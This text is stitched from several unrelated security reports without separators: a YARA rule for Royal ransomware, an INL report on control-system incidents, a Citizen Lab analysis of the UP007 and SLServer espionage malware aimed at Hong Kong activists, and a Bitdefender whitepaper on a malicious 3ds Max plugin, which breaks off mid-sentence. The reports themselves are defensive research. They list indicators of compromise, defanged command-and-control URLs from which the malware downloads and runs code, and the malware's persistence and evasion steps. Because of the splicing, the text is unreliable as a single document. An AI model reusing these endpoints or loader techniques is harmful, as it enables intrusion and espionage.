c24c59c8f4e7a581a5d45ee181151ec0a3f0b59af987eacf9b363577087c9746 - 5fda381a9884f7be2d57b8a290f389578a9d2f63e2ecb98bd773248a7eb99fa2 - 312f34ee8c7b2199a3e78b4a52bd87700cc8f3aa01aa641e5d899501cb720775 - 491c2b32095174b9de2fd799732a6f84878c2e23b9bb560cd3155cbdc65e2b80 - 2598e8adb87976abe48f0eba4bbb9a7cb69439e0c133b21aee3845dfccf3fb8f - f484f919ba6e36ff33e4fb391b8859a94d89c172a465964f99d6113b55ced429 - 7cbfea0bff4b373a175327d6cc395f6c176dab1cedf9075e7130508bec4d5393 ## Yara Rules ```yara rule royal_ransomware { meta: author = "Yoroi Malware ZLab" description = "Rule for Royal Ransomware" last_updated = "2022-11-09" tlp = "WHITE" category = "informational" strings: // x32 $1 = {8d 84 ?? ?? ?? ?? ?? 50 ff 15 ?? ?? ?? ?? 83 f8 20 74 ?? 6a 00 ff 15 ?? ?? ?? ??} $2 = {68 ?? ?? ?? ?? ff 30 89 44 ?4 20 ff 15 ?? ?? ?? ?? 85 c0 75 ?? 8b 44 ?4 10 46 8b 0c b0 89 4c ?4 1c e9 ?? ?? ?? ?? 8b 44 ?4 18 68 ?? ?? ?? ?? ff 30 ff 15 ?? ?? ?? ??} // x64 $3 = {4? 8d ?? ?? ?? ?? ?? ff 15 ?? ?? ?? ?? 83 f8 20 74 ?? 33 c9 ff 15 ?? ?? ?? ??} $4 = {4? 8d 15 ?? ?? ?? ?? ff 15 ?? ?? ?? ?? 85 c0 75 ?? 4? 8b 7b 08 ff c6 4? 83 c3 08 e9 ?? ?? ?? ?? 4? 8b 0b 4? 8d 15 ?? ?? ?? ?? ff 15 ?? ?? ?? ??} condition: (($1 and $2) or ($3 and $4)) and uint16(0) == 0x5A4D } ``` This blog post was authored by Luigi Martire, Carmelo Ragusa of Yoroi Malware ZLAB.
# Cyber Incidents Involving Control Systems ## Executive Summary The Analysis Function of the US-CERT Control Systems Security Center (CSSC) at the Idaho National Laboratory (INL) has prepared this report to document cyber security incidents for use by the CSSC. The description and analysis of incidents reported herein support three CSSC tasks: establishing a business case; increasing security awareness and private and corporate participation related to enhanced cyber security of control systems; and providing informational material to support model development and prioritize activities for CSSC. The stated mission of CSSC is to reduce vulnerability of critical infrastructure to cyber attack on control systems. As stated in the Incident Management Tool Requirements (August 2005), “Vulnerability reduction is promoted by risk analysis that tracks actual risk, emphasizes high risk, determines risk reduction as a function of countermeasures, tracks increase of risk due to external influence, and measures success of the vulnerability reduction program.” Process control and Supervisory Control and Data Acquisition (SCADA) systems, with their reliance on proprietary networks and hardware, have long been considered immune to the network attacks that have wreaked so much havoc on corporate information systems. New research indicates this confidence is misplaced—the move to open standards such as Ethernet, Transmission Control Protocol/Internet Protocol, and Web technologies is allowing hackers to take advantage of the control industry’s unawareness. Much of the available information about cyber incidents represents a characterization as opposed to an analysis of events. The lack of good analyses reflects an overall weakness in reporting requirements as well as the fact that to date there have been very few serious cyber attacks on control systems. Most companies prefer not to share cyber attack incident data because of potential financial repercussions. Uniform reporting requirements will do much to make this information available to the Department of Homeland Security (DHS) and others who require it. This report summarizes the rise in frequency of cyber attacks, describes the perpetrators, and identifies the means of attack. This type of analysis, when used in conjunction with vulnerability analyses, can be used to support a proactive approach to prevent cyber attacks. CSSC will use this document to evolve a standardized approach to incident reporting and analysis. This document will be updated as needed to record additional event analyses and insights regarding incident reporting. This report represents 120 cyber security incidents documented in a number of sources, including: the British Columbia Institute of Technology (BCIT) Industrial Security Incident Database, the 2003 CSI/FBI Computer Crime and Security Survey, the KEMA, Inc., Database, Lawrence Livermore National Laboratory, the Energy Incident Database, the INL Cyber Incident Database, and other open-source data. The National Memorial Institute for the Prevention of Terrorism (MIPT) database was also interrogated but, interestingly, failed to yield any cyber attack incidents. The results of this evaluation indicate that historical evidence provides insight into control system related incidents or failures; however, the limited available information provides little support to future risk estimates. The documented case history shows that activity has increased significantly since 1988. The majority of incidents come from the Internet by way of opportunistic viruses, Trojans, and worms, but a surprisingly large number are directed acts of sabotage. A substantial number of confirmed, unconfirmed, and potential events that directly or potentially impact control systems worldwide are also identified. Twelve selected cyber incidents are presented at the end of this report as examples of the documented case studies. ## Summary of Cyber Security Incidents One hundred and twenty cyber security incidents considered for this report were evaluated for type, origin, perpetrator, and motivation. The following list presents the analysis results representing the highest percentage entry in each area: - 42% of all incidences were conducted by means of mobile malware - 61% of the perpetrators originated from external sources - 43% of perpetrators' backgrounds were malware authors - 43% had a motivational intention of malware infection. ## Additional Findings In the process of identifying and analyzing cyber security incidents—particularly as they relate to attacks on PCSs, SCADA systems, and control systems—the CSSC identified certain issues and concerns dealing with obstacles, risks, and potential costs that needed to be addressed in order to increase industry awareness and security, and to reduce costs in private and corporate sectors of the nation. Our research confirms this notion. ### Lack of Awareness Process control and SCADA systems, with their reliance on proprietary networks and hardware, have long been considered immune to the network attacks that have wreaked so much havoc on corporate information systems. Recent research indicates this confidence is misplaced; the move to open standards such as Ethernet, Transmission Control Protocol/Internet Protocol (TCP/IP), and Web technologies is allowing hackers to take advantage of the control industry’s unawareness. ### Shortage of Good Analyses Much of the available information about cyber incidents represents a characterization as opposed to an analysis of events. This shortage of good analyses particularly in the area of human-systems interaction reflects an overall weakness in the availability of detailed data. ### Fear of Financial Repercussions Often, companies are not forthcoming about cyber attacks because of potential financial repercussions. This keeps them from reporting incidents that occur because they believe consumer confidence will decrease with each cyber-incident occurrence. Consequently, the confidential nature of cyber incidents makes it difficult to collect data and project future losses. ## Risks and Risk Mitigation ### Cyber Incident Risks As confirmed in a recent survey, there are currently three main categories of significant cyber incident risks that affect companies: viruses, denial of services, and theft of proprietary information. These kinds of cyber incidents accounted for 81% of losses experienced by industry within the United States in 2002. ### Mitigating Risks and Losses The objective of this report is to support DHS staff and industry in developing a proactive approach to preventing cyber attacks. Part of such an approach logically includes preventing or mitigating risks by exposing the needs and presenting solutions that can be used in developing a more methodical approach to incident reporting and analysis. ## Human Factors The discipline of human factors generally refers to designing for human use. It has also come to mean the study of human capabilities and limitations, including human system interaction and design for reliable performance. Within the context of incident analysis, it represents the human aspect of the common vulnerabilities in control systems and the ability of the human to assist in mitigating damaging consequences. ## Document Maintenance This document will be updated as requested and as pertinent information becomes available. Cyber incidents that occur during the year will be identified, compiled, and documented in future revisions via a process similar to that followed in this analysis. Comments received on this report, independent of origin but including members of the control system community, the public, the General Accounting Office, and DHS, will also be incorporated. ## Summary The incidents reviewed to date suggest that the risk to national infrastructure is real but very low at present. Even so, the number per year is increasing, and the trends appear similar to what is being experienced in the IT world. Although the reported number of incidences is low, discussions with industry experts suggest that the actual number of incidents is at least a factor of 10 higher, but these incidents are not reported beyond the companies which have experienced them. The significant discrepancy between the control system experience and the IT experience is because terrorists have not yet found control system attacks a useful tool. The most prevalent incident is related to a current or former employee. Even though the incident rate is too low to allow statistically valid trend analysis, it does appear that the incident rate is rising exponentially. As the hacker and terrorist community increases in size and becomes more skilled, it is reasonable to expect that significant cyber attacks will become a more inviting attack opportunity. The higher the degree of interconnectivity and communication among cyber systems, the greater is the opportunity for talented people to breach the security systems and maliciously manipulate information or control system functions. Finally, the most immediate need in the arena of incident tracking is a more effective way of reporting all, or all significant and most other cyber attacks on control systems. This enhanced reporting system needs to be a joint venture between industry and government.
# Between Hong Kong and Burma: Tracking UP007 and SLServer Espionage Campaigns **April 18, 2016** **Tagged:** Burma, Hong Kong, Malware, Targeted Threats **Categories:** Jakub Dalek, Masashi Crete-Nishihata, Matthew Brooks, Reports and Briefings, Research News **By:** Matthew Brooks, Jakub Dalek, and Masashi Crete-Nishihata ## Summary In this research note, we analyze an espionage campaign targeting Hong Kong democracy activists. Two new malware families are used in this campaign that we name UP007 and SLServer. The UP007 malware family was previously observed by Arbor Security Emergency Response Team (ASERT) in the report “Uncovering the Seven Pointed Dagger,” which analyzes a set of samples that were hosted on the national level electoral commission of Myanmar (Burma): the Myanmar Union Election Commission. One of the samples analyzed was described as “unknown malware,” which we call UP007 based on an identifier in the malware’s network traffic. In a report released today, ASERT describes a series of campaigns targeting Tibetan, Hong Kong, and Taiwanese interests, which also includes details on the same UP007 sample we analyze. A recent PricewaterhouseCoopers (PwC) report includes analysis of the SLServer sample we analyze (PwC refers to the family as SunOrcal). We refer to the malware as SLServer due to a resource dialog in the file. These previous reports collected samples from VirusTotal. We received the original email lure and samples used in the campaign from a targeted source and found that both UP007 and SLServer were sent to targets in the same attack. This research note builds on previous reporting by more closely examining UP007 and SLServer, variations of these samples found “in the wild,” and the connections between these attacks and other campaigns. Previous reports have shown overlap in the tactics, techniques, and procedures used in this campaign in other operations targeting groups in Burma, Hong Kong, and the Tibetan community. We speculate that either a single threat actor is targeting these groups or some level of formal or informal resource sharing is occurring between the operators behind the campaigns. ## Espionage Campaign Targeting Hong Kong Activists In the week prior to the January 2016 Taiwanese General Election, Hong Kong-based pro-democracy activists received a targeted email purporting to come from a Taiwanese non-profit organization with information about the upcoming election. The email included a Google Drive link to a RAR archive file: “2016總統選舉民情中心預測值.rar,” which translates to “Predictive Forecast from Centre of Public Sentiment in 2016 Presidential Elections.rar.” **Translated Email Text:** To recipients: Jinshen Tu, Zhifeng Huang, and Xiuxian Zhang. The 2016 general election enters its crucial final 10 days, and 73 electoral districts conclude their voting (1041229); Centre of Public Sentiment’s predicted forecast in the 2016 presidential elections (104.12.28). The 2016 Election enters its crucial final 10 days. On the 6th, Ing-wen Tsai, the DPP (Democratic Progressive Party) candidate, called on DPP supporters to consolidate their votes. She warned that the intense internal competition within the DPP had caused people to be worried about a splitting of the votes, potentially leading to the loss of the 15th and 16th seats. The election day is on the 16th. Besides the presidential election, there is also the legislative election which includes district seats and non-district seats. There are 34 non-district seats in total, of which the DPP won 13 during the last election. Given the higher degree of support this time, the DPP should be able to secure 16 seats. But as the New Power Party’s (NPP) influence and support grows, it might threaten the DPP. In order to promote support for non-district legislators, the DPP Central Standing Committee organized a campaign event this afternoon. The chairwoman of the DPP, Ing-wen Tsai, said there are only ten days left before the election, and the three things she worried the most about were: 1) ballot bribery, which may cause DPP’s loss in certain swing areas; 2) whether young people would return home to vote on Jan 16th; 3) vote splitting that may lead good candidates to lose in non-district legislative elections. **Delivery Mechanism** We have observed the use of Google Drive links as a delivery vector in recent campaigns targeting Tibetan organizations. In these campaigns, Google Drive links were used to send malware and phishing pages. We have also seen the tactic used in recent espionage campaigns targeting an NGO working on environmental issues in Southeast Asia. The prior use of Google Drive as a delivery vector against Tibetan groups is significant, as Tibetan groups are promoting Google Drive as an alternative to sending file attachments to prevent infection from document-based malware. ## Examining the RAR Archive Within the linked RAR archive, the top three directories contain a mix of malicious and benign documents, as well as shortcuts that run two executables that are deeply nested within hidden directories in the archive. The file structure of this archive is shown in Figure 2. The top level directory of this archive contains a benign Word document named 聲明.doc, which translates to “Statement.doc.” The text of this document is written in Chinese and is related to the Taiwanese election. **Document Text:** 73個立委選區選情研判(1041229), 2016總統選舉民情中心預測值(104.12.28). 文件內容僅代表個人立場,僅供參閱。解壓選舉民情中心預測值到桌面即可查閱全部數據. **English Translation:** Election polling of 73 legislative electoral districts (12/29/104). Predicted forecast from Centre of Public Sentiment in the 2016 presidential elections (12/28/104). All the documents represent personal views and are for reference only. Unzip Election Polling Centre’s forecast to the desktop to view all data. The first two directories contain separate Windows shortcuts, each of which runs an executable that is nested down in seven hidden subdirectories. | Filename | Sample MD5 | AV Detection Rate | |----------|------------|-------------------| | fzyy.exe | d579d7a42ff140952da57264614c37bc | Date / Time: 01-11-2016 Detection Rate: 8/55 | | wzget.exe | d8becbd6f188e3fb2c4d23a2d36d137b | Date / Time: 03-21-2016 Detection Rate: 30/57 | These samples, when executed, create two separate infection chains. The lack of emphasis on tricking targets into running a single malicious file is interesting. We are unsure as to why the operators chose to deploy two separate infection chains within the same delivery mechanism. It is also unclear why the benign document was included at the top directory, as this would require more user interaction for a compromise to be successful. It is possible that this mixture of benign and malicious files is intended to lull the targets into a false sense of security. Within the archive, there are two Microsoft Word files: 2016總統選舉民情中心預測值.doc (translation: “Predictive forecast from Centre of Public Sentiment in 2016 Presidential Elections”) and 73個立委選區選情研判.doc (translation: “Election polling of 73 legislative electoral districts”). Despite having different filenames, they are the same file (MD5 hash: 09ddd70517cb48a46d9f93644b29c72f). This infected document was analyzed in the recent PwC report and the malware family was named SunOrcal by the researchers. In this report, we take a closer look at the two nested executables: fzyy.exe and wzget.exe and the two separate infection chains they produce. ## UP007 Malware Family The fzyy.exe executable is a dropper responsible for creating multiple files and starting this particular infection chain. When the file is run, it creates the following files in the directory: %APPDATA%\Microsoft\Internet Explorer\ | Filename | MD5 | Purpose | |----------|-----|---------| | conhost.exe | f70b295c6a5121b918682310ce0c2165 | Loads SBieDll.dll | | SBieDll.dll | f80edbb0fcfe7cec17592f61a06e4df2 | Loads maindll.dll | | maindll.dll | d8ede9e6c3a1a30398b0b98130ee3b38 | Loads dll2.xor | | dll2.xor | ce8ec932be16b69ffa06626b3b423395 | Payload | | runas.exe | 6a541de84074a2c4ff99eb43252d9030 | Establishes persistence; Not utilized in this loading chain | | nvsvc.exe | e0eb981ad6be0bd16246d5d442028687 | Unknown – possibly older component | These files are all initially stored as resources within fzyy.exe. Some of the files are stored in encoded form while maindll.dll is stored as a packed executable. When writing the files to disk, the dropper will decode and write the files stored in encoded form. In addition, the infection chain will check multiple registry keys before writing maindll.dll. The keys largely seem to check for the presence of popular Chinese antivirus products: 360 Security, Kingsoft Antivirus, Rising AV, Jiangmin, and Micropoint as well as a popular free antivirus product Avira. Interestingly, in this instance, even if the registry keys are present, maindll.dll will still be written and the infection chain will still continue. The registry keys that are checked by the infection chain are summarized in the table below. | Key | Subkey | |-----|--------| | HKLM\SOFTWARE\360Safe\Liveup | curl | | HKCU\Software\360safe | DefaultSkin | | HKLM\SOFTWARE\kingsoft\Antivirus | WorkPath | | HKLM\SOFTWARE\Avira\Avira Destop | Path | | HKLM\SOFTWARE\rising\RAV | installpath | | HKLM\SOFTWARE\JiangMin | InstallPath | | HKLM\SOFTWARE\Micropoint\Anti-Attack | MP100000 | Once all the files are created, conhost.exe starts, loads SBieDll.dll, then ultimately loads maindll.dll and the final payload, which we have named UP007 (dll2.xor) due to an identifier in the network traffic. The primary function of UP007 appears to be to log keystrokes to the %USERPROFILE%\Local Settings\Temp\keylog\ directory and send them to a remote server. UP007 uses Windows Sockets to communicate with its command and control server (C2). While doing so, it sends a hardcoded HTTP header disguised as Microsoft Update traffic. This is likely an attempt to escape notice by casual inspection of network traffic. On connection, UP007 downloads another payload directly from the C2 server. This secondary payload we have named “DownLoad” given the way it identifies itself in the traffic with the C2 server. This secondary payload is injected into memory. The initial network traffic observed from the UP007 sample is seen in Figure 3. Once the entire payload is received from the C2 server, UP007 sends basic system information such as operating system version, IP address, and username and the C2 responds with a “READY” announcement (see Figure 4). The secondary payload (DownLoad) initiates its own separate TCP connection with the C2 server. A sample of the network traffic of this secondary payload is seen in Figure 5. Unfortunately, even though the connection with the C2 was established, we did not observe any further activity from this payload. However, DownLoad’s strings show references to the following: - this is cmd - this is Desktop It is possible these are in reference to additional components or capabilities of the malware. Further analysis is required to determine the function of these components. ## UP007 Command and Control Infrastructure The command and control server for the UP007 sample is hosted on Hong Kong provider New World Telecom at the IP address 59.188.12[.]123. Passive DNS data from PassiveTotal indicates that the domain name yeaton.xicp[.]net pointed to this IP from January 8, 2016 to March 19, 2016. In their recent report, ASERT notes that the domain: yeaton.xicp[.]net was used to advertise a Chinese VPN service in 2012. However, as ASERT explains, given the long period between the use of the domain for advertising and the recent threat activity, the past uses of the domain may not be related to the threat actors. ## UP007 Samples and Variations In November 2013, an exploit document (MD5: 983333e2c878a62d95747c36748198f0) was uploaded to various malware sites with the filename 中国家安全委员会机构设置和人员名单提前曝光.docx (which translates to “Chinese National Security Council’s Institutional Structure and Member list”) and 131106 minutes.docx. Instead of receiving the Stage 2 binary in the C2 protocol as in the recent UP007 sample, the November 2013 sample directly requested ok.exe via an HTTP GET request to 103.19.85[.]89. The ok.exe sample communicated with tenday.mysecondarydns[.]com which resolved to 103.19.85[.]89. It was signed with a certificate with serial number 04 DE 6E CB 4B A2 A5 54 2B 5E 0C 71 EE FD 2A AA. One year later, in November 2014, another instance of the UP007 dropper (MD5: e2ac89b5c820fc598b92a635a7d8bc33) signed with a certificate using the serial number 3A 72 A8 34 FB EC E5 4F A5 E5 2F 67 BA 63 4D CA was uploaded to VirusTotal. According to VirusTotal, this file was observed being hosted at http://103.19.85[.]89/chin.jpg. The final payload was designed to communicate with the same host for command and control. In August 2015, an instance of the UP007 dropper (MD5: 639c7239f40d95f677a99abb059e8338) signed with the same certificate (Serial: 5D 11 78 4F B8 17 65 02 3F 89 A4 F4 24 3F E1 A9) as fzyy.exe was uploaded to VirusTotal spotted in the wild as http://hkemail.f3322[.]org/32.zip. This sample communicated with hk2.upupdate.cn which resolved to 103.27.108[.]122 at the time of analysis. The samples detailed in the table below were identified by import hash and other structural similarities related to the UP007 dropper. They were uploaded to VirusTotal by the same submitter on November 14, 2014 and February 27, 2015. They were signed with the same 3A 72...4D CA and 5D 11...E1 A9 certificates, respectively. | MD5 | Import Hash | C2 | |-----|-------------|----| | 21455a5c2496e2603f6ba911fbaaed80 | 820438f3f1efede11425a9cc13ae2dbd | hihihihihahaha.vicp[.]cc (113.204.17[.]59) | | be378f3d66ecd38cda09508015de71f7 | 820438f3f1efede11425a9cc13ae2dbd | 172.16.10[.]124 | The RAR archive detailed in the table below reportedly drops the same files responsible for loading the UP007 sample. It also reportedly communicates with 59.188.12[.]123. We have not been able to obtain this sample directly. | MD5 | File Name | C2 | |-----|-----------|----| | 19866e7566373028799abd6844ac16d1 | QiHua.rar | 219.133.40[.]1, 59.188.12[.]123 | ## SLServer Malware Family The SLServer sample we received was also recently analyzed and reported by PwC. It was presented in an overview of threat actors making use of the recent Taiwanese presidential election in email lures to entice targets to open malicious documents. As noted by PwC, this file is a self-extracting archive ultimately responsible for downloading a binary from a website that was likely compromised. Like PwC, we were unable to obtain the final Keyainst.exe binary due to the behavior of the C2 during the time of analysis. Based on common behavioral characteristics and shared C2, it appears the downloaded file analyzed by PwC was MD5: e5e7dcbda781dd0bf5f5da3cccdb094d. This sample was referred to as SunOrcal by PwC. This name was based on a folder misspelling. We refer to the malware family as SLServer due to a resource dialog in the file. Another recently observed instance of this malware found on VirusTotal (MD5: cfcd2a90e87156e1a811f9c7b0051002) was designed to communicate with the same C2 server and contains the following debug path: e:\Working\SVNProject\SLServer\SLServer2.0\release\SLServer.pdb. Interestingly, according to VirusTotal, the previously mentioned UP007 dropper fzyy.exe was also observed hosted as wthk.txt at the same URL as this downloaded SLServer sample. The precise timeframes during which these samples were hosted and changed remains unknown. | File Name | Malware Family | MD5 | First Submission Time | |-----------|----------------|-----|-----------------------| | wzget.exe | SLServer | e5e7dcbda781dd0bf5f5da3cccdb094d | 2016-01-07 19:03:25 UTC | | fzyy.exe | UP007 | d579d7a42ff140952da57264614c37bc | 2016-01-08 05:21:18 UTC | ## SLServer – Possible Second Stage The SLServer sample (MD5: e5e7dcbda781dd0bf5f5da3cccdb094d) calls “FunctionWork” from a DLL: On VirusTotal we discovered a file named javaupdata.dll (MD5: <7332245f67b6b8a256ab22a6496b4536), which exports a function by the same name. Strings in the SLServer sample also reference a file by this name. When executed, this DLL contacts 210.61.12[.]153 using SSL. This host is the same one pointed to by the SLServer’s C2 domain, safetyssl.security-centers[.]com. Interestingly, while the 210.61.12[.]153 host did not respond to the SLServer connections during analysis time, the host did accept the SSL connections from javaupdata.dll. Further analysis of this file is ongoing. ## SLServer Command and Control Infrastructure The SLServer C2 server: safetyssl.security-centers[.]com resolved to the IP address: 210.61.12[.]153 at the time of analysis. This IP is hosted in Taiwan on the hosting provider Chunghwa Telecom, specifically their Data Communication Business Group offering. It appears to host the site of a Taiwanese auto parts manufacturer, Yowjung Autoparts. This site may have been either compromised or copied from a legitimate source. The domain name security-centers.com was registered on September 11, 2015 by the emails: [email protected] and [email protected]. Using Passive DNS data, we find the following subdomains were used in the time period after domain registration: - safetyssl.security-centers.com - computer.security-centers.com - security-centers.com - www.security-centers.com The domain computer.security-centers.com was a C2 server previously reported by ASERT related to a sample of the Trochilus RAT analyzed in the report. ASERT retrieved that sample from the compromised Myanmar Union Election Commission website. The other subdomains (www and the top level security-centers.com) are likely the default IP addresses for GoDaddy registered domains. ## SLServer Samples and Variations We discovered three additional SLServer samples using VirusTotal. We list the hash, submission time, as well as C2 domains associated with the sample in the table below. | MD5 | First Submission | C2 | |-----|------------------|----| | d07b2738840ce3419df651d3a0a3a246 | 2016-02-25 01:14:15 | www.olinaodi[.]com (74.126.181[.]10) | | 397021af7c0284c28db65297a6711235 | 2016-02-22 18:30:19 | safetyssl.security-centers[.]com (210.61.12[.]153) | | dc195d814ec16fe91690b7e949e696f6 | 2016-02-17 11:32:02 | www.olinaodi[.]com (74.126.181[.]10) | | cfcd2a90e87156e1a811f9c7b0051002 | 2015-11-09 05:20:33 | safetyssl.security-centers[.]com (211.255.32[.]130) | ## Recent Campaign Connections In January 2016, Arbor Networks released a report titled “Uncovering the Seven Pointed Dagger” in which they discuss a series of six RAR files hosted on the Myanmar election commission website on 20 October 2015. The focus of the report was on the discovery of the new Trochilus RAT. However, one of the RAR files was noted as unknown malware. This sample (Security-Patch-Update.exe, MD5: 82896b68314d108141728a4112618304) is also UP007, signed with the 5D 11 78 4F B8 17 65 02 3F 89 A4 F4 24 3F E1 A9 certificate and configured to communicate with 59.188.12[.]123 directly over port 8008, identical to fzyy.exe mentioned above. In this instance, if any of the previously discussed registry keys were present, the sample will execute the dropped runas.exe binary. Given this execution, nvsvc.exe is likely also an older component. As discussed above, the UP007 sample we analyzed shares the same C2 (computer.security-centers.com) as the Trochilus RAT sample reported by ASERT. In November 2015, Palo Alto Networks reported on a newly discovered trojan referred to as Bookworm. They revealed a campaign focused on the targeting of government entities in Thailand. The campaign used a malware family known as FFRAT, and the sample described in the report connected to the domain hkemail.f3322[.]org for command and control. In August 2015, the same domain was reportedly used to host an instance of UP007 as well. Finally, the relationship between the SLServer C2 www.olinaodi[.]com and our previous research into the Surtr malware family was highlighted by PwC through the overlap in the toucan6712@163[.]com registrant. We tracked malware campaigns using the Surtr family that have targeted Tibetan organizations since 2013. ## Conclusion This latest espionage campaign against Hong Kong activists appears to be connected to a broader set of targets and operations. The recent detailed reporting by ASERT makes it clear that the UP007 malware family has been found in previous campaigns targeting Burmese interests. In addition, the campaigns share some C2 infrastructure with previous operations against targets in Thailand and the Tibetan community. The domain registration connections between SLServer infrastructure and Surtr infrastructure also suggest some level of potential coordination between campaigns targeting Hong Kong groups and the Tibetan community. Despite these connections, it is unclear if these campaigns are being conducted by the same threat actor. We cannot exclude the possibility that distinct operators have a degree of sharing of tools and infrastructure. Alternatively, security researcher Ned Moran has articulated a concept of a “digital quartermaster,” to refer to an actor that supplies threat infrastructure and malware development resources to multiple groups. While these scenarios are plausible, we do not have enough data to properly assess these competing hypotheses or to make conclusive statements about the identity of the threat actors. What is clear from our analysis is that civil society groups across Asia continue to be targeted by persistent and organized cyber espionage campaigns. Civil society often lacks the resources and awareness to defend against these operations, and closer attention to the threats they face is needed. ## Acknowledgements Special thanks to Valkyrie-X Security Research Group and ASERT. We are grateful to Jason Q. Ng and Kun Cleo Zhang for translation assistance, and Adam Senft, John Scott-Railton, and Ron Deibert for comments. This research was supported by the John D and Catherine T. MacArthur Foundation and the William and Flora Hewlett Foundation. ## Indicators of Compromise **MD5 Hashes** - d579d7a42ff140952da57264614c37bc - d8becbd6f188e3fb2c4d23a2d36d137b - 09ddd70517cb48a46d9f93644b29c72f - f70b295c6a5121b918682310ce0c2165 - f80edbb0fcfe7cec17592f61a06e4df2 - d8ede9e6c3a1a30398b0b98130ee3b38 - ce8ec932be16b69ffa06626b3b423395 - 6a541de84074a2c4ff99eb43252d9030 - e0eb981ad6be0bd16246d5d442028687 - 639c7239f40d95f677a99abb059e8338 - d07b2738840ce3419df651d3a0a3a246 - 397021af7c0284c28db65297a6711235 - dc195d814ec16fe91690b7e949e696f6 - cfcd2a90e87156e1a811f9c7b0051002 **IP Addresses** - 59.188.12[.]123 - 210.61.12[.]153 **Domains** - safetyssl.security-centers[.]com - computer.security-centers[.]com - hkemail.f3322[.]org - www.olinaodi[.]com - tenday.mysecondarydns[.]com
# WHITEPAPER ## Security ### More Evidence of APT Hackers-for-Hire Used for Industrial Espionage ### Executive Summary: Bitdefender researchers recently investigated a sophisticated APT-style cyberespionage attack targeting an international architectural and video production company, pointing to an advanced threat actor and a South Korean-based C&C infrastructure. APT mercenary groups have been used for cyberespionage by private competing companies seeking financial information or negotiation details for high-profile contracts. This attack likely falls under the same category. APT mercenary groups have been known to offer their services to the highest bidder, deploying sophisticated attacks and powerful cyberespionage tools against their contracted victims. The StrongPity APT group is one such example that Bitdefender investigated recently. The group, which has been known to target select victims, was recently associated with a potential Turkish military operation. The commoditization of APT-level hackers-for-hire could potentially entice rival luxury real-estate investors involved in multi-billion-dollar contracts to seek these services to spy on their competition by infiltrating their contractors. Industrial espionage is nothing new and, since the real-estate industry is highly competitive, with contracts valued at billions of dollars, the stakes are high for winning contracts for luxury projects and could justify turning to mercenary APT groups for gaining a negotiation advantage. The targeted company is engaged in architectural projects with billion-dollar luxury real-estate developers in New York, London, Australia, and Oman. With offices in London, New York, and Australia, the company’s customers and projects involve luxury residences, high-profile architects, and world-renowned A-list interior designers. The sophistication of the attack reveals an APT-style group that had prior knowledge of the company’s security systems and used software applications, carefully planning their attack to infiltrate the company and exfiltrate data undetected. The Bitdefender investigation revealed the cybercriminal group infiltrated the company using a tainted and specially crafted plugin for Autodesk 3ds Max (popular software widely used in 3D computer graphics). The investigation also found that the Command and Control infrastructure used by the cybercriminal group to test their malicious payload against the organization’s security solution is located in South Korea. During the investigation, Bitdefender researchers also found that threat actors had an entire toolset featuring powerful spying capabilities. Based on Bitdefender’s telemetry, we also found other similar malware samples communicating with the same command and control server, dating back to just under a month ago. Located in South Korea, United States, Japan, and South Africa, it’s likely the cybercriminal group might have also been targeting select victims in these regions as well. ### Key Findings: - Potential APT mercenary group used for industrial cyberespionage - Industrial espionage for competitiveness in the real-estate industry - Malicious payload posing as a plugin for a popular 3D computer graphics software (Autodesk 3ds Max) - Payload tested against the company’s security solution to avoid detection upon delivery - C2 infrastructure based in South Korea While this is not the first incident in which APT mercenary groups have been potentially used to conduct espionage or coordinate with alleged military operations, these events have intensified during the past couple of years. The recently investigated StrongPity APT group has all the characteristics of a mercenary cybercriminal group, known to serve both financial and potentially military objectives. Other groups, such as “Dark Basin” and “Deceptikons,” are only a few recent examples in which APT groups for hire have allegedly acted on behalf of customers seeking to discredit or infiltrate high-profile targets in financial, legal, and now the multi-billion-dollar real-estate industry. This is likely to become the new normal in terms of the commoditization of APT groups—not just state-sponsored actors, but by anyone seeking their services for personal gain, across all industries. ### Forensic Analysis The threat forensic analysis started from a suspicious sample named PhysXPluginStl.mse (hash: d6ad1e0b11a620ed4df39255ffff11a483687d7038d6c76b938d15add54345fa) which triggered suspicious behavior. #### Attack Overview In a recent advisory published by Autodesk, users are warned of a third-party MAXScript exploit, “PhysXPluginMfx” (variant of ALC2, ALC, CRP, and ADLS), that can corrupt 3ds Max to run malicious code and even propagate to other MAX files. Instructions on how to identify and remove the malware have also been published. However, as our investigation revealed, it’s likely that more victims were affected long before this unknown threat was identified. The file is a Max Script Encrypted script (encryption specific to Autodesk 3dsMax Solution software) and contains an embedded DLL file (hash: 2d934a705638acd3fcb44f66a9a1633c27231550113f20df6061c10b1aa6e9f6). Further analysis of this file led us to a maxscript that starts with some HTTP post requests, whose responses are executed directly from memory, after some delays. Those two requests are the following: - POST, hxxp://175[.]197.40.61:3445/FRNuzqJIZyb, using a token in body: “t785EyDk/6s4VXZZ6Sb7TFl7vepBKQrgX8LmGURaPLM=”, without any additional information; the execution is postponed 10 seconds - POST, hxxp://175[.]197.40.61:3445/TYEHVSjn2Ny, using a token in body: “RhUzq3wdz8xpCIzZVoqrTDr0FXpOmsgjAnyTy6xh/+w=”, without any additional information; the execution is postponed 4 seconds Moving further, a periodic job is created to clean up some well-known ALC/CRP 3rd party maxscripts, which are known to lead to some issues. This part may look unsuspicious, but, after cleanup, some code is downloaded from the C&C and executed. The download is performed from the following URLs: - hxxp://175[.]197.40.61:3445/Public/Find_Alc - hxxp://175[.]197.40.61:3445//Public/Find_Crp The last part of the script takes care of the persistence. A downloaded file (from hxxp://175[.]197.40.61:3445/grhL1wCYAhf) is stored in “AppData\Local\Autodesk\3dsMax\*\ENU\scripts\startup\PhysXPluginStl.mse” (in the startup folder of 3ds max software) and the hidden file attribute is set. Investigating the C&C, we managed to reproduce part of the communication protocol and to download buffers of code whose content is executed. Responses from the C&C were valid, indicating that, at the time of the writing, it was still up. The response for the route hxxp://175[.]197.40.61:3445/FRNuzqJIZyb led us to two new files (a32f5e65051eb95d0ccdcc899d45f56369659a6edea068da5e59951f4c903f7b and c75fcb34a5b35b6b73191de3f342806d3cce5a446c64f55fb3423f0cd5dbe248), which are .net binaries. Both of them will download and execute other maxscripts whose content is very similar. The new script is meant to collect some information about the victim (computer name, username), encrypt it with a custom algorithm, and mask the result so that it appears to be base64 content. Moving further, the obtained data is used in a request sent to the C&C (at hxxp://175[.]197.40.61:3445/TYEHVSjn2Ny), to obtain a new piece of code to be executed. After this, for each 3ds max release installed on the machine, in scripts\startup\max folder a file named “default.mse” is downloaded from hxxp://175[.]197.40.61:3445/YkSxBJVz using the aforementioned user information, and then, detection evasion techniques are applied (file creation timestamp is modified, the hidden attribute is set on the max folder and the default.mse file). In this case also, a cleanup action is performed, similar to the one mentioned above, which cleans up some 